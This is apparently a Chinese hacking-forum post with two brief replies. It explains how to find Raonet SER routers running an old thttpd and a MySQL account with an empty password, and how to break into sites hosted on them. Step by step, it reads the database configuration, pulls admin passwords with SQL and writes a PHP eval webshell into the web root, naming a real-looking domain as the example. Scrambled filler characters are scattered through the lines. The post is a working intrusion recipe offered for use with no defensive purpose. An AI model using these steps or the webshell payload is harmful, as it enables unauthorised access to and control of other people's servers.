利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

$ F2 N& Z. H2 m% Y1：google搜索'Raonet Subscriber Ethernet Router'
5 s. U% \7 o" p1 m! F) K
( q7 f: G% P  z1 g. Y. U1 p, S2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
$ f6 ~, {; R5 y' |, [2 w3 w
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
, \. F* {$ u, _; F0 j6 X  k" z3 d  R
& r  M! A  p% v% `//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
  O5 `8 _: S( P" k5 l3 Y
6 J* s) f3 y5 |$ m/ _2 R) O, z7 o

; a8 j% T/ X+ t" }8 t入侵步骤：

1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php

1 v3 z, ?& e& H. |2 v% Z2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
, c. F+ V1 V! D1 X1 U7 h. }3：得到密码后连接，查看GUI管理密码：
0 N) }3 a* E( A; P) j5 i; Buse ser_500
  a2 a! B5 T, L, G' q; ?1 D) }8 nselect id,passwd from user;
% s$ p( A) }6 |) e4 G9 O: y# W4:通过数据库写入webshell，执行命令：
$ ]2 w0 p! }9 s7 L7 yuse mysql;
create table ok(cmd TEXT);
3 V, i2 Y+ }1 b# m+ Qinsert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
5 I5 _# k: L6 k7 Q! {drop table ok;

5:连接后门shell.php
, t/ h$ w) y) ^. C8 H5 s! z! [
6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。